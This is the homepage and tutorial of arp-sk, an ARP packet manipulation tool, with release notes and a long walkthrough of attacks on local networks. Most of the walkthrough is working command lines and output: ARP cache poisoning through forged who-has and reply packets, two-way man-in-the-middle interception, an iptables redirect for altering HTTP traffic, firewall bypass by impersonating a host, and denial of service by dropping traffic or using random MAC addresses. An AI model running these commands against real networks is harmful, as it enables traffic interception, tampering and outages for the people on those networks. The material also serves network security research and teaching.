arp-sk
Latest release: arp-sk-0.0.13.tgz (ChangeLog)
Effort is currently made on code cleanup and portability especially on *BSD systems. This new version have been compiled and tested (not deeply) under FreeBSD 4.4. So feedbacks and comments are welcome.
arp-sk rests on the latest version of libnet (1.1). You can freely download it from libnet's homepage.
winarp-sk (for windows only)
Latest release: winarp_sk-0.9.1.zip
winarp-mim (for windows only)Latest release: winarp_mim-0.9.4.zip
winarp-sk and winarp-mim use Winpcap.You can freely download it at Winpcap web site.
Older versions of theses tools are available in archives folder.
We have open 3 mailing lists:
We would like to thank:
During the study which leads us to create these tools, we have noticed that all OS where not RFC compliant with the protocol ARP. Normally, the RFC 826 states that a system should create an entry when a reply arrives.
We propose to centralized here a list of OS that let create an entry when they received a reply. Right now, we only have referenced on :
You can also help to fulfill the list of "fail open switches" that is available on Taranis' project homepage or participe to Sniffable Switch Project that aims at providing usefull information about switches vulnerabilities.
Further informationA longer article with more details is available in French in the magazine MISC. Thanks to the editor, this article will be online in October. Cédric Blancher has made a talk with demonstrations during the LSM 2002. Slides are now available here. GreetingsSpecial thanks to Mike Schiffman for mirroring our project on www.packetfactory.net. |
|
If ARP is a well known protocol, the attacks it allows are often restricted to sniffing, while so many are possible.
arp-sk is a tool designed to manipulate ARP tables of all kinds of equipment. This can be easily performed through the sending of the appropriate packet(s). Basically, an ARP message on an Ethernet/IP network has 7 important parameters:
Keep in mind that there is nothing specifying that there must be some consistency between ARP and Ethernet layer. That means you can provide uncorrelated addresses between these 2 layers.
The first idea that comes in mind when one wants to sniff on a LAN, is to put one's network interface into promiscuous mode. Hence, every packet that arrives to the interface is directly transfered from the level 2 (Ethernet most of the time), to the upper one (IP, ARP, DNS, ...) without checking if correct destination of the packet is this interface or not.Unfortunately, this is rather restricted because you can't get what is beyond switches for instance.
This attack targets the level 2 protocol, Ethernet most of the time. This is very efficient against switches to update their CAM table (Content Adressable Memory) in Cisco's terminology, which lists all Ethernet addresses bound to each port of the switch.
Suppose the table is initially like in the following example:
Port | Adresse MAC ------------------------- 1 | 52:54:05:F4:62:30 # batman 2 | 52:54:05:FD:DE:E5 # robin 3 | 00:90:27:6A:58:74 # alfred 4 | 00:10:A4:9B:6D:81 # jokerIf joker wants to receive packets aimed at robin, joker have to send a packet with the following Ethernet layer data:
Port | Adresse MAC ------------------------- 1 | 52:54:05:F4:62:30 # batman 2 | 3 | 00:90:27:6A:58:74 # alfred 4 | 00:10:A4:9B:6D:81; 52:54:05:FD:DE:E5 # joker, robinBut this is not perfect:
Note anyway that some switches fall back to "fail open" mode (they pass each packet to every port, just like hubs) when there are too many conflicts.
Since MAC spoofing is neither efficient nor furtive, let's go to the above layer and the protocol ARP. These messages are exchanged when one host wants to discover the MAC address of a remote host. For instance, if batman want's robin's MAC, he send an arp-request message (Who has ?) to the broadcast address and robin answers with his addresses.
But what if joker answers before robin ?
12:50:31.198300 arp who-has robin tell batman [1] 12:50:31.198631 arp reply robin is-at 0:10:a4:9b:6d:81 [2]
batman will set joker's MAC address in his ARP cache. But since batman's packet was broadcasted, robin will also answer:
12:50:31.198862 arp reply robin is-at 52:54:5:fd:de:e5 [3]
batman is in a very embarrassing situation ! And what if robin had answered the first one ? One again, the issue of this situation is not really obvious. Thanks to the way most ARP caches works, joker will need to send continuously his fake responses, such that batman keeps always joker's address in his cache.
Important note:
If the target does not already have the entry the attacker wants to impersonate, sending replies will be helpless because the cache won't update a unexisting entry.
Since the previous attacks suffer from limitations, the best solution would be to manipulate directly the cache of a target, independently of the ARP messages sent by the target. Hence, we need to be able to:
To do that, we will send a query (Who has ?) to the target. Instead, when a host receives a who-has, it believes that a connexion is going to be performed. Hence, to minimize the ARP traffic, it creates a new entry in its cache and put there the addresses provided in the ARP message:
[root@joker]# arp-sk -w -d batman -S robin -D batman + Running mode "who-has" + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.2 (robin) + Target MAC: 52:54:05:F4:62:30 + Target ARP MAC: 00:00:00:00:00:00 + Target ARP IP : 192.168.1.1 (batman) --- Start sending -- To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP Who has 192.168.1.1 (00:00:00:00:00:00) ? Tell 192.168.1.2 (00:10:a4:9b:6d:81) --- batman (00:00:00:00:00:00) statistic --- To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP Who has 192.16.1.1 (00:00:00:00:00:00) ? Tell 192.168.1.2 (00:10:a4:9b:6d:81) 1 packets tramitted (each: 42 bytes - total: 42 bytes)
And then, batman's cache now contains:
# before [batman]$ arp -a alfred (192.168.1.3) at 00:90:27:6a:58:74 # after [batman]$ arp -a robin (192.168.1.2) at 00:10:a4:9b:6d:81 alfred (192.168.1.3) at 00:90:27:6a:58:74
So now, when batman will initiate a transaction with robin, the packets will be sent to joker ... and that without having batman sending anything :-)
Note that sending an ARP query in unicast is totally RFC compliant. They are authorized to let a system check the entries of its cache.
The method seen with ARP spoofing is exactly what we need ! We just have to send ARP replies to batman with robin's IP but joker's MAC. Thus, even if the entry is already present in batman's cache, it will be updated by joker's information:
[batman]$ arp -a robin (192.168.1.2) at 52:54:05:fd:de:e5 alfred (192.168.1.3) at 00:90:27:6a:58:74
And now, update it:
[root@joker]# arp-sk -r -d batman -S robin -D batman + Running mode "reply" + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.2 (robin) + Target MAC: 52:54:05:F4:62:30 + Target ARP MAC: 52:54:05:F4:62:30 + Target ARP IP : 192.168.1.1 (batman) --- Start sending -- To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP For 192.168.1.1 (52:54:05:F4:62:30) 192.168.1.2 is at 00:10:a4:9b:6d:81 --- batman (52:54:05:F4:62:30) statistic --- To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP For 192.168.1.1 (52:54:05:F4:62:30): 192.168.1.2 is at 00:10:a4:9b:6d:81 1 packets tramitted (each: 42 bytes - total: 42 bytes)
See the result:
[batman]$ arp -a robin (192.168.1.2) at 00:10:a4:9b:6d:81 alfred (192.168.1.3) at 00:90:27:6a:58:74
Obvious, and the most funny way is to do a "Man in the Middle".
To get the both side of the connexion (i.e. batman->robin AND robin->batman), we do some arp spoofing on each of them:
[root@joker]# arp-sk -r -d batman -S robin -D batman + Running mode "reply" + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.2 (robin) + Target MAC: 52:54:05:F4:62:30 + Target ARP MAC: 52:54:05:F4:62:30 + Target ARP IP : 192.168.1.1 (batman) [...] [root@joker]# arp-sk -r -d robin -S batman -D robin + Running mode "reply" + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.1 (batman) + Target MAC: 52:54:05:FD:DE:E5 + Target ARP MAC: 52:54:05:FD:DE:E5 + Target ARP IP : 192.168.1.2 (robin) [...]
We are now able to redirect traffic as a transparent proxy does with its applicative streams. The IP layer (or any tool) just have to take the data to the appropriate application, even if the destination host is not the right one. For instance, joker wants to modify some inputs in a HTTP transaction between batman and robin:
[root@joker]# iptables -A INPUT -p tcp -s robin -d batman --dport 80 -j REDIRECT --to-ports 80
joker simply have to set a HTTP proxy on his port 80. Thus, he can alter all the data. And more, if there is some basic integrity checking (like CRC32, MD5 or SHA-1 for instance), joker can recompute the checksums before resending everything. The limits are those of the tool we use to handle the data.
For instance, if joker has a part of a remote HTTP site on his own HTTP server, but with some part of the site slightly modified. The queries to the unmodified parts are proxied directly to the real site. The next figure shows that when previous manipulations are:
[root@joker]# arp-sk -r -d robin -S batcave-gw -D robin [root@joker]# arp-sk -r -d batcave-gw -S robin -D batcave-gw [root@joker]# arp-sk -r -d batman -S batcave-gw -D batman [root@joker]# arp-sk -r -d batcave-gw -S batman -D batcave-gw [...]
By impersonating a host on the network, and intercepting some connexion, we can bypass the FW with the rules applied for the spoofed host. To do this, joker does not need a double redirection (ARP MiM) as it was previously necessary:
[root@joker]# arp-sk -r -d batcave-gw -S robin -D batcave-gw
Note that this is a quite difficult attack since joker needs to properly sort his own connexions from robin's ones.
One of the most interesting attack is the interception of cryptographic communications (SSH, SSL, IPSec...)
This won't be described here since there are lots of articles dealing with this attack in cryptography. However, you can find an example of arp-sk use for a SSL MiM attack exploiting a Microsoft Internet Explorer certificates check fail at http://www.thoughtcrime.org/ie.html.
A denial of service is a really easy attack to perform when you play with ARP messages. You simply have to drop all rerouted packets:
[root@joker]# iptables -A FORWARD -s robin -d batman -j DROP
If you prefer not to redirect traffic to your box, you can also create an ARP black hole, by sending packets to unused MAC addresses.
[root@joker]# arp-sk -r -d robin -S batman --rand-arp-hwa-src -D robinNow, robin believes batman is dead...
